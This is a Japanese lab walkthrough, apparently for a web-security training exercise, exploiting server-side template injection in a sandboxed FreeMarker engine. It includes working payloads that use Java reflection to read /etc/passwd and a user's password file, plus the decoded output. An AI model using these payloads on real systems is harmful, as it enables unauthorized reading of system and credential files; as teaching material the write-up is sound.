Hello there, ('ω')ノ
サンドボックス環境でのサーバ側のテンプレートインジェクションを。
このラボでは、Freemarkerテンプレートエンジンを使用していて。
サンドボックスの実装が不十分なため。
サーバー側のテンプレートインジェクションに対して脆弱で。
まずは、ログインして。

簡単なペイロードを挿入して動作確認を。
<p>Hello ${4*5}</p>

${product.stock}という文字列からJavaのドキュメントを確認しながら。
オブジェクトで使用できるメソッドを見つけていって。
https://docs.oracle.com/javase/jp/8/docs/api/java/lang/Object.html

https://docs.oracle.com/javase/jp/8/docs/api/java/lang/Class.html







ここまでJavaの古いバージョンを見ていたので、SDK 9に切り替えて。


ここで寄り道して、下記のチートシートからペイロードを取得して。
https://blog.cobalt.io/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68

下記を実行すると、passwdファイルが読み取れることが確認できたので。
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

目的のcarlosのファイルを指定すると。
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join("
")}
ファイルの内容が10進数のASCIIコードとして表示されて。
121 112 119 110 107 98 101 113 98 104 105 103 108 52 114 102 54 98 98 57

返されたバイトを下記でASCIIに変換して。

変換されたコードを入力すると。
ypwnkbeqbhigl4rf6bb9

クリアできた。

ちなみに、下記に変更すると"."で結合されて。
join(".")

Best regards, (^^ゞ